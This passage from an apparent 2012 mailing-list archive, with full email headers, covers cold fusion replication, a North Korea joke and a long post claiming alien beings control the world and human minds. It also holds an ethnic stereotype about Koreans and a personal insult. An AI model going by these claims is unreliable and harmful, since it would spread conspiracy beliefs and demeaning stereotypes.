-0800 Resent-Date: Sun, 2 Dec 2012 12:14:00 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50BBB67B.4050903@resist.ca> Date: Sun, 02 Dec 2012 15:13:47 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Open Source Cold Fusion References: <50B8E139.1050708@resist.ca> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4654 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 895 On 12/11/30 15:13, Terry Blanton wrote: > On Fri, Nov 30, 2012 at 11:39 AM, grok wrote: >> So... >> >> What about this new Open Source "Celani wire" LENR process then, eh..? > You can watch a replication here: > > http://www.quantumheat.org/ > > under the "Follow" tab. That's what I'm following. So what about it, then? Anyone venture an idea? -- grok. From vortexb-l-request@eskimo.com Sun Dec 2 12:19:17 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qB2KJErn031164; Sun, 2 Dec 2012 12:19:14 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qB2KJEQ6031159; Sun, 2 Dec 2012 12:19:14 -0800 Resent-Date: Sun, 2 Dec 2012 12:19:14 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=462C7aCO56XqTrNazEg3ByS+zN1nR+tuLJSp+ivTDpo=; b=DavIeN+LC3TJLXGMCnZkceHFPSr011llKfyfqMqC8hJ4/jxZGw+0hqzDGDd4//RjpB Pp+3vflPRCZkrFmlSXvmnamd1mhCNYcWEblK4f3qX/OAdsxVxsGtKrrmCGQcnydD+YCU 999NjA5Fq8hDJlvWQnCaETpUynTQhmJGkSD8Ksxn7lrPQdcNH2zUm+w6fNnT4cPGOhAm CQEGwY/XQj6Pt2gyhbLDJUCgUOAjbhNvJEAOGdCZNwRkOj10bil0qc1xhhzDJfQXz49R 82x98rqJQToYEkqWAvneutKqeUdOvzY/pXrCpB9R/kMdlYlJ3skQWTPRBpsepbbAEjOE 6izQ== MIME-Version: 1.0 In-Reply-To: <50BBB67B.4050903@resist.ca> References: <50B8E139.1050708@resist.ca> <50BBB67B.4050903@resist.ca> Date: Sun, 2 Dec 2012 22:19:12 +0200 Message-ID: Subject: Re: [VoB]:Open Source Cold Fusion From: Esa Ruoho To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=e89a8f923da296163304cfe458e6 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4655 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 896 --e89a8f923da296163304cfe458e6 Content-Type: text/plain; charset=ISO-8859-1 Isn't it a replication related to a Celani method for replicatingthe Pons Fleischmann Anomalous Heat project? They seem to be posting responses and results fairly quickly, which is a nice change. On Sun, Dec 2, 2012 at 10:13 PM, grok wrote: > On 12/11/30 15:13, Terry Blanton wrote: > >> On Fri, Nov 30, 2012 at 11:39 AM, grok wrote: >> >>> So... >>> >>> What about this new Open Source "Celani wire" LENR process then, eh..? >>> >> You can watch a replication here: >> >> http://www.quantumheat.org/ >> >> under the "Follow" tab. >> > > That's what I'm following. So what about it, then? Anyone venture an idea? > > -- grok. > > > --e89a8f923da296163304cfe458e6 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Isn't it a replication related to a Celani method for replicatingthe Po= ns Fleischmann Anomalous Heat project?

They seem to be posting resp= onses and results fairly quickly, which is a nice change.


On Sun, Dec 2, 2012 at 10:13 PM, grok <grok@re= sist.ca> wrote:
On 12/11/30 15:13, Terry Blanton wr= ote:
On Fri, Nov 30, 2012 at 11:39 AM, grok <grok@resist.ca> wrote:
So...

What about this new Open Source "Celani wire" LENR process then, = eh..?
You can watch a replication here:

http://www.quantu= mheat.org/

under the "Follow" tab.

That's what I'm following. So what about it, then? Anyone venture a= n idea?

-- grok.



--e89a8f923da296163304cfe458e6-- From vortexb-l-request@eskimo.com Sun Dec 2 15:08:51 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qB2N8nYG030301; Sun, 2 Dec 2012 15:08:49 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qB2N8m21030289; Sun, 2 Dec 2012 15:08:48 -0800 Resent-Date: Sun, 2 Dec 2012 15:08:48 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50BBDF75.3090906@resist.ca> Date: Sun, 02 Dec 2012 18:08:37 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Open Source Cold Fusion References: <50B8E139.1050708@resist.ca> <20121130214338.GB5128@isis> In-Reply-To: <20121130214338.GB5128@isis> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4656 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 897 On 12/11/30 16:43, Mark S Bilk wrote: > Here's Peter Hagelstein discussing various cold fusion experiments, > one showing 14:1 power gain for months! Big hot-fusion physicist > got it defunded at MIT. > > Sound level is low; turn up your sound gain: > > http://www.psylords.info/acedemia/politics/is-cold-fusion-finally-being-accepted-by-scientists/ Lots of super information in this one. Thanx. -- grok. > > On Fri, Nov 30, 2012 at 03:13:05PM -0500, Terry Blanton wrote: >> On Fri, Nov 30, 2012 at 11:39 AM, grok wrote: >>> So... >>> >>> What about this new Open Source "Celani wire" LENR process then, eh..? >> You can watch a replication here: >> >> http://www.quantumheat.org/ >> >> under the "Follow" tab. > > From vortexb-l-request@eskimo.com Sun Dec 2 16:37:32 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qB30bVt3010669; Sun, 2 Dec 2012 16:37:31 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qB30bT7P010660; Sun, 2 Dec 2012 16:37:29 -0800 Resent-Date: Sun, 2 Dec 2012 16:37:29 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=FqrakVHyv7IIU9KlzziWEwLo3yYfyQn1g4zpGU9f4Vk=; b=c8mAeKR4cCrpayfjm+j2kpGwJLyrWYTQ0etz/3XITZzHJHtHERLUVfiY+CvyuehPHu iepbifdW3QhKpdOP6L+0aPpQNtqdr8OIsx/EI1SpCp8rgnwriryIiCJXt26C/VPZnXCP Sj+qVykuZ3uBTLM0GSQRYot3vBU4T3oYD8dO7XfG6YIJAVtgssXEs2WRC3VdYR29CwPZ IIf22nFJBG/AaMf+RmQ6xdAFfR3Cga7IMbUyFPmZaM2S/NsGbnI28rMXa/EqATDpXw4Q uFiJsH/cXDNbBuMIgDl7h5eSvrGjxHDXCooFviXZpXWWb9Eeel78AImAwFzDJ3unMRk/ Nqew== MIME-Version: 1.0 In-Reply-To: <50BBB67B.4050903@resist.ca> References: <50B8E139.1050708@resist.ca> <50BBB67B.4050903@resist.ca> Date: Sun, 2 Dec 2012 19:37:29 -0500 Message-ID: Subject: Re: [VoB]:Open Source Cold Fusion From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4657 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 898 On Sun, Dec 2, 2012 at 3:13 PM, grok wrote: > That's what I'm following. So what about it, then? Anyone venture an idea? You can follow this thread in the archives: http://www.mail-archive.com/vortex-l@eskimo.com/msg73454.html From vortexb-l-request@eskimo.com Sun Dec 2 18:58:54 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qB32wrOZ028545; Sun, 2 Dec 2012 18:58:53 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qB32wpvD028535; Sun, 2 Dec 2012 18:58:51 -0800 Resent-Date: Sun, 2 Dec 2012 18:58:51 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=Agrl9JAs5+GZar64di+3zu8XOh97iO5Qaqn/xe6For4= c=1 sm=1 a=2ipLjwoTqTgA:10 a=yUnIBFQkZM0A:10 a=jPJDawAOAc8A:10 a=kj9zAlcOel0A:10 a=SyEqRuHZWLkA:10 a=eZxFahdUjPF0kzXDIwV/4g==:17 a=1JtmooZqAAAA:20 a=mshpDf_7AAAA:8 a=T7OTcRrCAAAA:8 a=QuU3Enpr2bBqW39_07kA:9 a=CjuIK1q_8ugA:10 a=KXuLW65_DLEA:10 a=WbrveCMGONMA:10 a=PpvQEwnPbwYA:10 a=euF56A5xAYoA:10 a=tUQQw7hb2I8A:10 a=eZxFahdUjPF0kzXDIwV/4g==:117 From: "OrionWorks - Steven Vincent Johnson" To: References: <50B8E139.1050708@resist.ca> <50BBB67B.4050903@resist.ca> In-Reply-To: Date: Sun, 2 Dec 2012 20:58:52 -0600 Message-ID: <007501cdd102$20342340$609c69c0$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Ac3Q7mba1D0OA8wuSryBCtKaMHyxZgAE3EcQ Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4658 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:=?us-ascii?Q?Unicorns'_Existence_Proven=2C_according_to...?= Status: O X-Status: X-Keywords: X-UID: 899 >From the Korean Central News Agency (KCNA) http://tinyurl.com/cwl6xwm Regards, Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks From vortexb-l-request@eskimo.com Mon Dec 3 09:46:11 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qB3HkAun016222; Mon, 3 Dec 2012 09:46:10 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qB3Hk5g2016201; Mon, 3 Dec 2012 09:46:05 -0800 Resent-Date: Mon, 3 Dec 2012 09:46:05 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <18060.60976856.3dee3f5a@aol.com> Date: Mon, 3 Dec 2012 12:46:03 -0500 (EST) Subject: Re: [VoB]:Unicorns' Existence Proven, according to... To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20121107; t=1354556764; bh=Uq2vxprqWpwzlugFQL828KvylvB9fexPJ2Rgk/9YHsM=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=EYrgUjbeSDEyGprlNkePthAvPJyx7hZGItugiEhiiQaHzxT+fUqNNJcRasysBmGQU HObG5bQiJT/exJhoT7lxeOmc3+jAQfA3m4zEwRETO+anJhaU9p8CKc8mVWB0FgkaBk CcnhH1mMqsalRpR+4JIi4TN08GyfNQBg1iPUNoAI= X-AOL-SCOLL-SCORE: 0:2:266910880:93952408 X-AOL-SCOLL-URL_COUNT: 0 x-aol-sid: 3039ac1d33c750bce55b2165 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4659 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 900 This is undoubtedly the reason why North Korea has remained isolated from the rest of the world for so long. Now of course, you have to wonder and/or be suspicious as to why this absolutely astounding information is now being released? Could it be that all this time Nth Korea has long since known that ufo's were actually unicorns?... so, what are we to think about Santa Clause, & the Tooth Fairy? << From the Korean Central News Agency (KCNA) http://tinyurl.com/cwl6xwm Regards, Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks >> From vortexb-l-request@eskimo.com Tue Dec 4 00:34:52 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qB48YpYk026353; Tue, 4 Dec 2012 00:34:51 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qB48YnYR026343; Tue, 4 Dec 2012 00:34:49 -0800 Resent-Date: Tue, 4 Dec 2012 00:34:49 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50BDB598.2040703@resist.ca> Date: Tue, 04 Dec 2012 03:34:32 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Unicorns' Existence Proven, according to... References: <18060.60976856.3dee3f5a@aol.com> In-Reply-To: <18060.60976856.3dee3f5a@aol.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4660 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 901 On 12/12/03 12:46, LORENHEYER@aol.com wrote: > This is undoubtedly the reason why North Korea has remained isolated from > the rest of the world for so long. Now of course, you have to wonder and/or > be suspicious as to why this absolutely astounding information is now being > released? Could it be that all this time Nth Korea has long since known that > ufo's were actually unicorns?... so, what are we to think about Santa > Clause, & the Tooth Fairy? > > << From the Korean Central News Agency (KCNA) > > http://tinyurl.com/cwl6xwm > > Regards, > Steven Vincent Johnson > www.OrionWorks.com > www.zazzle.com/orionworks >> > Disinfo like this diverts attention away from Republican loony-toons. Don't be so fallen-off-da-turnip-truck-like. -- grok. From vortexb-l-request@eskimo.com Tue Dec 4 10:40:15 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qB4IeDGQ008886; Tue, 4 Dec 2012 10:40:13 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qB4IeCQo008877; Tue, 4 Dec 2012 10:40:12 -0800 Resent-Date: Tue, 4 Dec 2012 10:40:12 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <167a.3e661b1b.3def9d8b@aol.com> Date: Tue, 4 Dec 2012 13:40:11 -0500 (EST) Subject: Re: [VoB]:Unicorns' Existence Proven, according to... To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20121107; t=1354646412; bh=OCwkNeC4RxwgzruY29QVVO8vbM+rUKTvatR/qPTYTsg=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=R5JP1rbQ6+Ff7XsQ2ggkEk/W/mlX9Wq0J9e/xxCZACHuDj9qHrH677fGh9QHUwu8H EwB96dQ9HKa7MBKn5adzsnn2uiEmp1IgKd/ZTjDcvU9/lmaQjjJDAUt/lhGgygVoWQ DXy+eOT1VF0v56BCxMhfIVepdO1HmSyo6r3OEwsc= X-AOL-SCOLL-SCORE: 0:2:374266176:93952408 X-AOL-SCOLL-URL_COUNT: 0 x-aol-sid: 3039ac1d294d50be438c24b8 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4661 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 902 Off hand, I don't remember the name of the so-called leader of N Korea, but I'm pretty sure his last name is ill, so, I'll just call him N K ill. Lets see now, I believe I recently heard that he was about to test another 'longer' range missile, to impress the HAC's up in space. I believe I also heard not too long ago that some kind of deal was in the works so his people could get food (the sign of a true leader). So anyway, when it comes to animal life in N.K. no matter what speicies it may be, I seriously doubt it stands much chance of surviving very long. Now, I'm not real sure, but I believe the Koreans not only consume, but literally devour all living things,,, so what is the likelyhood of an actual living unicorn, especially in considering that every bite might bring you good luck. I'll just bet that N.K.ILL has it stored in a freezer, and eats it very sparingly. Well anyway, unicorns & ufo's are two different animals.... I tend not too have alot of trouble believing in unicorns, because it isn't so far out of the realm of possibilities,,, but, when it comes ufo's, quite simply, the rather horrific monster looking humanoids that pilot them, have long since evolved/developed well beyond the bio animal planets below,,, and only they know if unicorns actually exist. From vortexb-l-request@eskimo.com Thu Dec 6 12:31:41 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qB6KVdnk003618; Thu, 6 Dec 2012 12:31:39 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qB6KVYNU003603; Thu, 6 Dec 2012 12:31:34 -0800 Resent-Date: Thu, 6 Dec 2012 12:31:34 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <2e499.6ae967f0.3df25aa5@aol.com> Date: Thu, 6 Dec 2012 15:31:33 -0500 (EST) Subject: [VoB]: Green Being, Mankind To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20121107; t=1354825894; bh=OnX8EsIDFC65Y2ZCcmYekWWaKRnIOhdUsaZEQvUyI04=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=N80Cm8HQLHDWLS5YMJo6JZysfn44nEUjZ0d/HwjaQ7U2IknohBdS1En/cjF2Ngy0B myHoSjU3gh1yerEXPRzgy0TjTlf8dkGDFmPyI+LTvuf7d6ykvAts+ViQ5quIGOEEwj wAMpBxnvYnNFU+L+JIELRMqBI9rEkoRGwOwcE2lg= X-AOL-SCOLL-SCORE: 0:2:417214112:93952408 X-AOL-SCOLL-URL_COUNT: 0 x-aol-sid: 3039ac1d290950c100a53f32 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4662 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 903 The latest news about a few of NASA's space endeavors mentioned the progress of Voyager 1 (launched back in the 70's), and the Mars Rover Curiosity which recently landed on Mars. NASA's (it's all theirs, mind you) Voyager 1 is now about 11 billion miles away from the Earth (you may've heard of it?). Now, altho HACs are currently up in the space above us and/or operating thruout the known universe, NASA says that V 1 is the farthest traveled manmade object (like, I couldn't even ride a bike that far). Actually, NASA's comment is more accurate than they might think, because the HAC's *beings* who'er currently operating thruout the solar system and/or this planet, definitely aren't human, as in, biological entities. OOH (on one hand) it's a rather pathetic situation, when you think you're on "top of the ladder" when actually you're only "top of the food chain". Now, it's a big IF, but if NASA would pull it's head out of it's over accomplished congratulated emphatic busy butt (even just for a moment), then they could get a clue about the technical abilities and/or capacity in which the HACs are utilizing to travel the stars. Yeah so, V 1 has entered what is referred to as a "magnetic highway" that connects the solar system to interstellar space... sadly (because no one is going to be around to know the difference anyway) this is the last step on its long journey to the stars. Now, the Mars Rover Curiosity (which makes me somewhat curious) that is currently crawling around on Mars's surface is searching for signs of life or whatever it can find of any relative significance, water, microbes, or maybe some junk from a long since obolete and/or extinct civilization,,, well, they should try earth? So anyway, just recently, an anchor that does the the early morn. news on the SEE alot of BS channel, made a comment (probably, from the teleprompter), and then, it's been a while (if my memory serves me) that a Fizzleheadedassist/Spokesperson for NASA by the name of Kneel Digressing also made the same comment (quote) "We haven't come across any little green men yet... giggle giggle.... however, we did get a glimpse of ourselves in a highly reflective surface that spooked us so bad, we still haven't gotten over it... we dodged a bullet! (unquote), and I made that last part up. Well, that's enough talk about monkey man for now, so instead, lets talk about how Mankind is the one who is extremely "Green" when it comes to energy/technology. If you want to talk about the HACs up in space, then you won't actually have to talk, because *Those* who are up in space are operating this world in an overall combined capacity of *those* younger HACs, the likes of which you or the predecessors who will be, in the future,,, will never know the level of technology and/or capacity being currently utilized,,, and easier than you can operate your cell phone. Here's a good way to look at *Those* who have been "In" space longer than this star system has existed. *They* are the real genuine authentic original one & only (of god knows how many) Masters of the Universe!.... Yes *They* are so very capable, that your brain is not only being operated from without, but also from within (the mind is a terrible thing to waste). Now, as absolutely astounding & amazing as it all might seem, *that* is just how far a true HAC has come,,, since our time, now, eons ago.... I'll tell you, that sure takes me back!.... *Real* Deshavue (spelling?). From vortexb-l-request@eskimo.com Fri Dec 7 16:55:38 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qB80ta5q007156; Fri, 7 Dec 2012 16:55:36 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qB80tXrU007136; Fri, 7 Dec 2012 16:55:33 -0800 Resent-Date: Fri, 7 Dec 2012 16:55:33 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50C28FF0.8090701@resist.ca> Date: Fri, 07 Dec 2012 19:55:12 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]: Green Being, Mankind References: <2e499.6ae967f0.3df25aa5@aol.com> In-Reply-To: <2e499.6ae967f0.3df25aa5@aol.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4663 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 904 On 12/12/06 15:31, LORENHEYER@aol.com wrote: > ..... So anyway, just recently, an anchor that > does the the early morn. news on the SEE alot of BS channel, made a comment > (probably, from the teleprompter), and then, it's been a while (if my memory > serves me) that a Fizzleheadedassist/Spokesperson for NASA by the name of > Kneel Digressing also made the same comment (quote) "We haven't come across any > little green men yet... giggle giggle.... however, we did get a glimpse of > ourselves in a highly reflective surface that spooked us so bad, we still > haven't gotten over it... we dodged a bullet! (unquote), and I made that last > part up. > Well, that's enough talk about monkey man for now... Neil deGrasse Tyson is more Human than you'll ever be, you peckerwood inbred. -- grok. From vortexb-l-request@eskimo.com Fri Dec 21 11:57:22 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qBLJvLXh004642; Fri, 21 Dec 2012 11:57:21 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qBLJvIhJ004630; Fri, 21 Dec 2012 11:57:18 -0800 Resent-Date: Fri, 21 Dec 2012 11:57:18 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50D4B4CA.5020006@resist.ca> Date: Fri, 21 Dec 2012 14:13:14 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4664 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Nature of Vortex-L list membership Status: RO X-Status: X-Keywords: X-UID: 905 Given the apparent nature of many of those who are engaged-in, or who follow this 'New Energy' stuff (and as I personally witnessed previously on Vortex-L, and elsewhere): I wonder how many of these people have no issues at all with the military of any of the NATO regimes most of us live under, funding and/or using their work, to whatever ends..? -- grok. From vortexb-l-request@eskimo.com Fri Dec 21 12:59:18 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qBLKxGjt020705; Fri, 21 Dec 2012 12:59:16 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qBLKxF0W020694; Fri, 21 Dec 2012 12:59:15 -0800 Resent-Date: Fri, 21 Dec 2012 12:59:15 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=NklfH1VDAoTWIQRNKPOg7lDBq9MC/pMcdzZ/Axx2fjw=; b=YYWvug/1Yaink2xGqdQoUG1mfTbeoF+ziZOlQtNXqlm2PEAMHYEDk2KpkVZzMc7GqH gjK4M2+f3gB7Frqwd58z1iKK0gSgTYG8u8gcpBaecUiwGuBLCxVuHPb/Zc8E0JBY0PV3 HgbC/tCBl1zt+syuNDC2LpDgkIyUUr7yz6/bxD6YO9X5VWumrmON4vt5utNn2K6NhYKh Yq24JvbQFrxNXkpUI+Ql1bOphgKLKpLmVP77P5mpPX3QN4nojNi8ZrBFcznVGaTddOlg MSagZOPOX2tAvdhiu48TlbQW1WBBrwtj0mST7Vu7VxU4dx0xrMIs3uRiy6ucK7q2CcoN CgRw== MIME-Version: 1.0 In-Reply-To: <50D4B4CA.5020006@resist.ca> References: <50D4B4CA.5020006@resist.ca> Date: Fri, 21 Dec 2012 21:59:15 +0100 Message-ID: Subject: Re: [VoB]:Nature of Vortex-L list membership From: David Jonsson To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=047d7b6dc868cfbd7004d1631e5c Resent-Message-ID: <-tCftC.A.RDF.j2M1QB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4665 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 906 --047d7b6dc868cfbd7004d1631e5c Content-Type: text/plain; charset=ISO-8859-1 What do you mean? David David Jonsson, Sweden, +46703000370 On Fri, Dec 21, 2012 at 8:13 PM, grok wrote: > > Given the apparent nature of many of those who are engaged-in, or who > follow this 'New Energy' stuff (and as I personally witnessed previously on > Vortex-L, and elsewhere): I wonder how many of these people have no issues > at all with the military of any of the NATO regimes most of us live under, > funding and/or using their work, to whatever ends..? > > -- grok. > > > --047d7b6dc868cfbd7004d1631e5c Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
